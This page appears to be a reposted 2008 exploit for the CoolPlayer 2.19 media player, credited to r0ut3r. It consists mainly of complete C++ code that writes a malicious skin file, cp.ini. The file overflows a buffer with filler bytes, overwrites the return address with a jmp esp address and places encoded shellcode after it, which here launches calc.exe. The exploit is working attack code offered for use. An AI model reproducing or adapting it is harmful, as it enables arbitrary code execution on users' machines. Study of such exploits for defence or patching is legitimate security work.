CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit
|
来源:www.bmgsec.com.au 作者:r0ut3r 发布时间:2008-12-22
|
|
/* * CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit * * Advisory: http://www.bmgsec.com.au/advisory/43/ * Test box: WinXP Pro SP2 English * * Code reference is in skin.c, lines 464 - 480 * * Written and discovered by: * r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au) */
#include <iostream> #include <fstream> #include <cstdlib> //exit
using namespace std;
int main() { //win32_exec - EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com //Bad characters: 0x00, 0x0d, 0xf4 char scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x53\x4b\x38\x4e\x57" "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x48" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38" "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x30\x4b\x54" "\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58" "\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43" "\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x47" "\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b" "\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x53" "\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57" "\x42\x45\x4a\x46\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x46\x4a\x39" "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x36\x43\x46\x50\x32\x45\x46\x4a\x37\x45\x46\x42\x30\x5a";
char buffer[1918]; char eip[] = "\x27\x38\x03\x7d"; //jmp esp
cout << "[*] Generating payload\n"; strcpy(buffer, "[CoolPlayer Skin]\nPlaylistSkin=");
int i; for (i=0; i<1534; i++) buffer[31+i] = 'A';
for (i=0; i<sizeof(eip); i++) buffer[1565+i] = eip[i];
for (i=0; i<sizeof(scode); i++) buffer[1569+i] = scode[i];
ofstream outStream; outStream.open("cp.ini");
outStream << buffer;
outStream.close();
cout << "[+] Skin file created.\n";
return 0; }
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|